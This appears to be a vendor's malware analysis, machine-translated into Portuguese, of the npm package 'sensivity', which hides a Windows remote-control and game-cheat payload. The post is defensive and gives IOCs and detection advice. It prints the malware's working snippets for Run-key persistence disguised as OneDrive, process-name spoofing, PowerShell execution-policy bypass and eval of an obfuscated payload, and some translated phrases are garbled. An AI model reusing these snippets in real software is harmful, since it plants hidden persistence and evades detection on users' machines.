PairLoop: Painel de controle remoto oculto em pacote npm

PairLoop: Um pacote npm, setenta versões e um painel de controle remoto oculto para Windows.

TL, DR

O pacote npm sensibilidade O programa se autodenomina um "Painel de Controle de Sensibilidade". No Windows, ele funciona como uma ferramenta de controle remoto e vigilância.

Seu ponto de entrada, launcher.js, renomeia seu próprio processo para Runtime Broker, grava um valor de chave de inicialização automática chamado OneDriveUpdate que relança o pacote por meio de um VBScript oculto, inicia o PowerShell com -ExecutionPolicy Bypasse então avalia uma carga útil de servidor ofuscada de 171 KB juntamente com um módulo nativo de 6.87 MB, sens.node.

Ele serve como painel de controle de emparelhamento de telefone na porta TCP 3000 e lê o URL da barra de endereços do navegador ativo por meio do Windows UIAutomation, procurando por um vídeo do YouTube codificado.

Duas partes que antes estavam ocultas como caixas pretas agora estão resolvidas. O servidor ofuscado, server.obf.js, utiliza um esquema de array de strings RC4 do obfuscator.io; reimplementar seu decodificador offline (sem execução de JavaScript) recupera um único endpoint externo — https://izopi.com/check.php — juntamente com uma chave pública RSA incorporada, usada para verificar as respostas de licença assinadas.

O módulo nativo, sens.node, não está compactado: sua tabela de importação e strings incorporadas o identificam como uma sobreposição DirectX 11 / Dear ImGui no jogo, que fornece recursos de aimbot, ESP (wallhack) e triggerbot, controlados por injeção remota de processos e leituras/gravações de memória.

As strings dentro dele fazem referência a entidades de veículos e localizações no mapa, consistentes com GTA V/FiveM. O pacote npm é o wrapper de entrega e persistência em torno desse módulo nativo.

O sinal determinante é operacional, não técnico: uma única editora anônima distribuiu aproximadamente setenta versões de um mesmo pacote — 2.5.0 através 2.5.69 — ao longo de alguns dias, cada um carregando o mesmo lançador.

Não há instalações hooksO conteúdo é executado somente quando o pacote é iniciado.

O Ataque: Como Funciona

O Sensivity inclui dez arquivos. O arquivo package.json é esparso: sem campo de repositório, sem licença, um arquivo main e dois aliases bin (sensivity, sens) apontando para launcher.js, e um script de inicialização node launcher.js. Não há postinstall nem preinstall. Nada é executado com npm install. O comportamento descrito abaixo ocorre quando um usuário inicia o pacote — seja pelo shim bin, pelo script de inicialização ou por um require.

O arquivo tar contém o inicializador, um servidor ofuscado, o módulo nativo, um script Visual Basic e um diretório `public/web` para o painel de controle. O arquivo `launcher.js` é o orquestrador legível; a lógica que importa em tempo de execução reside nos dois arquivos que ele carrega — um servidor ofuscado e um módulo nativo compilado, ambos resolvidos abaixo.

 Falsificação de processo e um atualizador falso do OneDrive

Logo no início da execução, o launcher.js define seu próprio nome de processo duas vezes:

   javascript process.title = 'Runtime Broker'; 

O Runtime Broker é um processo legítimo do Windows (RuntimeBroker.exe) que gerencia as permissões de aplicativos. Renomear um processo do Node para que corresponda ao nome significa que uma rápida olhada no Gerenciador de Tarefas não mostrará nada de incomum.

A persistência é implementada por meio do PowerShell, em vez de uma API de registro direta:

javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); 

O valor de inicialização automática se chama OneDriveUpdate e não aponta diretamente para o pacote. Ele aponta para o wscript.exe, que executa o arquivo OneDrive.Standalone.Updater.vbs incluído. Esse script reinicia o node launcher.js em uma janela oculta. Tanto o nome da tecla Executar quanto o nome do arquivo VBScript utilizam a marca da Microsoft, portanto, a entrada de inicialização automática é interpretada como uma tarefa rotineira do OneDrive.

PowerShell com bypass de política de execução

O inicializador executa repetidamente comandos do PowerShell. O ponto crítico identificado pelos verificadores é a execução de um arquivo .ps1 gerado com a política de execução desativada:

javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); 

A opção `ExecutionPolicy Bypass` remove a verificação de assinatura de script local para essa invocação. Os scripts gerados cuidam do monitoramento do navegador e da detecção de janelas descritos na próxima seção.

O servidor ofuscado e o módulo nativo

Após a configuração, o launcher.js carrega e executa sua carga útil real:

const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));

O arquivo server.obf.js tem 171 KB e utiliza o padrão de ofuscação _0x-array do JavaScript, no qual cada string e identificador é substituído por um índice em um array embaralhado e, em seguida, desreferenciado em tempo de execução. O esquema é a variante RC4 produzida pelo obfuscator.io: uma única função decodificadora decodifica em base64 uma entrada do array e, em seguida, a descriptografa em RC4 com uma chave específica para cada chamada. Reimplementar esse decodificador em um script separado — executando apenas a reimplementação sobre o array de strings extraído, com 821 entradas, e nunca o JavaScript do próprio pacote — permite descriptografá-lo completamente. O que emerge é modesto, mas eficaz.cisive: uma URL externa, https://izopi.com/check.php, atribuída a uma constante LICENSE_URL; uma chave RSA PUBLIC_KEY_PEM embutida; as rotas do painel local /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off e /trigger/status; e as strings child_process, crypto e [Sensivity] sens.node loaded — sendo esta última a linha de log exata que o inicializador reescreve para program module loaded. O endpoint é uma verificação de licença: o cliente envia um identificador (o servidor ofuscado formata uma string Discord ID: %s) e a chave RSA verifica a resposta assinada do servidor.

sens.node é um addon nativo compilado de 6.87 MB e não está compactado — a entropia da seção está entre 5.6 e 6.6 e as tabelas de importação e exportação PE estão intactas, portanto, suas funcionalidades são legíveis diretamente. Ele exporta napi_register_module_v1, o standard Ponto de entrada da API Node N, portanto, o servidor avaliado a carrega com um simples `require`. Sua tabela de importação é a pista. De `KERNEL32`, ela extrai `OpenProcess`, `VirtualAllocEx`, `WriteProcessMemory`, `ReadProcessMemory`, `CreateRemoteThread`, `K32EnumProcessModules` e `Process32First/NextW` — o conjunto canônico para localizar outro processo, alocar memória dentro dele e ler ou escrever nessa memória. De `USER32`, ela extrai `GetAsyncKeyState`, `GetKeyState`, `mouse_event` e `SetCursorPos`; ela vincula `d3d11.dll`, `D3DCOMPILER_43` e `dwmapi` para uma sobreposição na tela e o conjunto completo `WINHTTP` para chamadas de rede. As strings embutidas nomeiam o conjunto de recursos sem ambiguidade: Ativar Aimbot, Campo de Visão do Aimbot, ESP de Caixa, ESP de Esqueleto, Triggerbot, Construtor de ESP, ESP de Veículo, Anticheat Electron detectado e o banner Dear ImGui Dear ImGui 1.91.3 WIP. As strings de localização e entidade, como Clínica Médica Grapeseed e o vocabulário de ESP de veículo, são consistentes com GTA V / FiveM.

A divisão é intencional: o arquivo launcher.js legível contém apenas as partes que um scanner lê facilmente — persistência, mascaramento, a própria chamada eval — enquanto a ofuscação oculta o único host externo com o qual o ambiente de execução se comunica, e o binário contém a lógica de sobreposição do jogo e injeção de processos. O launcher é a camada fina e auditável; o servidor ofuscado oculta a identidade da rede; o módulo nativo é a carga útil. Descrevemos as importações e strings do binário como legíveis; não inferimos a finalidade do operador a partir delas.

 Um painel de controle para emparelhamento de telefones na porta 3000.

O inicializador gerencia um servidor web local na porta TCP 3000 e o trata como um singleton. Ele consulta se existe um ouvinte (listener) e o limpa antes de se vincular.

 javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); 

O painel pode ser acessado em http://localhost:3000, com um URL de fallback para LAN fixo em http://192.168.1.16:3000. O diretório public/ e o comportamento do painel são consistentes com um fluxo de pareamento por QR Code: um telefone escaneia um código e se conecta ao host como um dispositivo remoto. Nenhum domínio externo de comando e controle aparece em texto simples no inicializador — mas, como a desofuscação acima mostra, um está presente no servidor ofuscado: o endpoint de licença izopi.com. O próprio painel é local e com escopo de LAN; o único host de saída é essa verificação de licença.

Um modelo de supervisor/trabalhador independente mantém o processo ativo. O inicializador se reinicializa com as flags de ambiente SENSIVITY_SUPERVISOR e SENSIVITY_WORKER, com cada processo filho sendo executado de forma oculta, de modo que matar um processo deixa um watchdog para reiniciá-lo.

Monitoramento do navegador e o sinal do YouTube

O comportamento mais específico é o monitoramento do navegador. O launcher.js cria um script PowerShell que instrui o Windows UIAutomation a ler a barra de endereços de um navegador em execução:

 javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', 

ValuePattern retorna o conteúdo de texto de um elemento da interface do usuário. Aplicado ao controle de edição da barra de endereços de um navegador, ele retorna a URL que a vítima está visualizando no momento — sem extensão do navegador, sem alterar o perfil no disco e sem um gancho de API. O script gerado itera uma lista $browserNames e extrai a URL ou o título da janela do navegador que estiver em primeiro plano.

Essa URL é testada em relação a um único alvo predefinido:

 javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; 

O iniciador verifica em um loop de três segundos a existência de uma janela do navegador exibindo o YouTube, e o PowerShell gerado contém um par Get-YouTubeBrowser / Test-TargetYouTubeUrl que corresponde ao ID do vídeo. O efeito observável é duplo: a URL de navegação ativa é lida na tela da vítima e a interação do host com um vídeo específico do YouTube é detectada. Descrevemos o mecanismo e o alvo; não inferimos uma motivação a partir deles.

A leitura da barra de endereços é o que o scanner rotula como sensitive_data_enumeration — uma fonte Process::env e UIAutomation alimentando um ambiente de execução com capacidade de rede. Isoladamente, parece inofensiva e só se revela como atividade de vigilância quando o ciclo de vida dos dados é rastreado desde a fonte UIAutomation até o servidor ofuscado.

Linha do tempo e evolução das versões

A sensibilidade não é um problema de upload único. A conta do editor possui aproximadamente setenta versões publicadas deste pacote único, e novas versões continuaram chegando durante o período de revisão. O inicializador cresce em termos de recursos ao longo da linha 2.5.x, enquanto sua persistência e carregamento de conteúdo permanecem inalterados.

Data (UTC) Versões observadas Estado do lançador
2026-06-02 2.5.8 - 2.5.46 (25) Iniciador de painel QR básico; persistência da chave de execução; avaliação do servidor ofuscado.
2026-06-03 2.5.53 - 2.5.61 (6) Mesma impressão digital; supressão de rastreamento do console.
2026-06-04 2.5.67, 2.5.68 (2) Adiciona meta de engajamento fixada no YouTube wJWta2lO0Lw.
2026-06-05 2.5.0 - 2.5.69 (24) Reedição para preenchimento de lacunas em toda a gama; fiscalização por supervisores/trabalhadores.

Ao analisar o inicializador nas versões baixadas — 2.5.0, 2.5.36 e 2.5.69 — percebe-se a presença de quatro camadas. As versões mais antigas contêm o inicializador básico de pareamento por QR Code. A partir da versão 2.5.33, o coletor de dados da barra de endereços UIAutomation é adicionado. A partir da versão 2.5.58, uma camada de gerenciamento de supervisor é incluída. A partir da versão 2.5.64, o monitor de supervisor/trabalhador independente completa o conjunto. Em todas elas, quatro elementos permanecem inalterados: a chave de execução do OneDriveUpdate, o instalador OneDrive.Standalone.Updater.vbs, o arquivo server.obf.js avaliado e o módulo nativo sens.node.

A onda de 05/06/2026 é notável porque republicou os números de versão mais baixos — 2.5.0 a 2.5.15 — que estão abaixo das versões confirmadas dias antes. O efeito é uma linha contínua 2.5.x no registro, com cada versão contendo o mesmo inicializador.

Indicadores de compromisso

Todos os indicadores abaixo foram lidos diretamente do arquivo tar do pacote. O inicializador legível contém apenas um endereço de loopback e um único endereço de rede local privada; o único nome de host externo, izopi.com, foi recuperado por meio da desofuscação offline do arquivo server.obf.js.

Formato Indicador Notas
Pacote npm:sensivity (aproximadamente 70 versões, 2.5.0-2.5.69) Publicador de pacote único; sem repositório; sem licença.
Envie o launcher.js Orquestrador legível; alvo principal e binário.
Envie o server.obf.js (≈171 KB) obfuscator.io payload de matriz de strings RC4, carregado via eval(fs.readFileSync(...)).
Envie o sens.node (≈6.87 MB) Complemento PE32+ x86-64 Node N-API; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40.
Envie o OneDrive.Standalone.Updater.vbs Reinicializador oculto (node launcher.js).
Network https://izopi.com/check.php Ponto de extremidade de licença/autenticação recuperado do servidor ofuscado; a chave pública RSA incorporada verifica as respostas.
Capacidade OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread Injeção remota de processos e capacidade de leitura/gravação de memória.
Capacidade Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP Overlay de jogo DirectX 11 / ImGui com recursos de aimbot, ESP e triggerbot.
Lista de Presentes HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate Valor de inicialização automática apontando para wscript.exe e o inicializador VBScript.
Processo process.title = 'Runtime Broker' Disfarça-se de processo legítimo do Windows Runtime Broker.
Comportamentais powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 A política de execução é ignorada em scripts do PowerShell gerados.
Comportamentais UIAutomation ValuePattern leitura da barra de endereço do navegador Lê o URL da janela do navegador em primeiro plano.
Comportamentais ID do vídeo alvo wJWta2lO0LwEnquete de 3 segundos no YouTube Sinal de monitoramento de engajamento fixado.
Network http://localhost:3000, cair pra trás http://192.168.1.16:3000 Painel de controle de emparelhamento QR exposto localmente e na LAN.
Meio Ambiente SENSIVITY_SUPERVISOR, SENSIVITY_WORKER Sinalizadores de coordenação de processos de vigilância independentes.

Atribuição, impacto e defensores

O pacote é publicado por uma única conta npm cujo e-mail declarado é um endereço do Gmail não verificado. A conta possui uma reputação extremamente negativa no registro, mantém e publica apenas este pacote e não possui um repositório de código-fonte vinculado. Não verificamos a propriedade do e-mail e atribuímos a campanha à conta do publicador, não a qualquer indivíduo identificado. O inicializador não possui infraestrutura em texto claro, mas o único host externo já foi identificado: o servidor ofuscado contata o izopi.com para verificação de licença, e o módulo nativo — lido de sua tabela de importação e strings em vez de instrução por instrução reversa — é uma sobreposição de jogo que injeta e lê a memória de outro processo.

O impacto observável recai sobre os usuários do Windows que instalam e executam o Sensivity esperando um utilitário de painel de controle. Nesses hosts, o pacote estabelece persistência de inicialização automática disfarçada de tarefa do OneDrive, renomeia-se para imitar um processo do sistema, lê a URL de qualquer página que o usuário esteja navegando e cria um painel de emparelhamento que vincula a máquina a um servidor remoto pela rede local. O mecanismo de supervisão/processamento garante que o encerramento de um único processo não o remova; a entrada da tecla Executar persiste após reinicializações. macOS e Linux não são afetados pelo inicializador — os caminhos de persistência, PowerShell e UIAutomation são exclusivos do Windows.

A rotatividade de setenta versões é a tendência que merece atenção. Republicar um pacote dezenas de vezes em poucos dias, incluindo o preenchimento de versões anteriores às já removidas, mantém uma cópia ativa no registro entre as remoções e frustra as listas de bloqueio com fixação de versão. Uma entrada em uma lista de bloqueio para sensivity@2.5.61 não impede a republicação de sensivity@2.5.3 no dia seguinte.

Os defensores podem agir nos seguintes casos:

  • Bloqueie completamente a sensibilidade ao nome do pacote nas listas de permissões do registry-proxy e do CI. Fixar versões individuais perde para a cadência de republicação; o nome é o indicador duradouro.
  • Procure por um valor de execução chamado OneDriveUpdate cujos dados invocam o wscript.exe em um arquivo .vbs em um caminho específico do usuário. O atualizador legítimo do OneDrive não está registrado dessa forma.
  • Alerta sobre um processo Node.js cujo process.title é Runtime Broker. O broker real é o RuntimeBroker.exe, e não um ambiente de execução do Node.
  • O sinalizador `npm install-time` detecta pacotes que incluem um complemento `.node` compilado, além de uma avaliação (`eval(fs.readFileSync(…)`) de um arquivo `.obf.js` correspondente. Essa combinação — um binário nativo opaco carregado ao lado de um payload de texto ofuscado — é a pista estrutural aqui, independente de qualquer indicador de comprometimento (IOC) de string.
  • Em endpoints Windows gerenciados, considere como suspeito qualquer listener localmente vinculado à porta 3000, gerado por um processo Node inesperado.
  • Bloquear ou alertar sobre solicitações de saída para izopi.com a partir de hosts de desenvolvedores ou usuários finais; este é o único endpoint externo do pacote, acessado em /check.php a partir do servidor ofuscado.
  • Para qualquer addon .node incluído, inspecione sua tabela de importação antes de confiar nele. A combinação OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread configura injeção de processo remoto, independentemente do que o pacote afirme fazer; aqui, ela está ao lado de uma sobreposição Direct3D e strings de aimbot/ESP/triggerbot.

Para análise estática pipelineAssim, a estrutura de convicção é duradoura mesmo com a troca constante de versões: um perfil de instalação sem rede, a atribuição de um título de processo a um nome de processo de sistema conhecido, a gravação de uma chave de execução via PowerShell e a avaliação de um arquivo lido do disco. Nenhum desses elementos depende de um domínio, um endereço IP ou um número de versão que possa ser alterado na próxima republicação.

 Referências

[npm: sensibilidade] – página de registro para a linha de versão do pacote discutida aqui; sujeita a remoção.

sca-tools-software-composição-análise-ferramentas
Priorize, corrija e proteja seus riscos de software
Crie sua conta gratuita.
Nenhum cartão de crédito é necessário.

Proteja seu desenvolvimento e entrega de software

com o Suíte de Produtos da Xygeni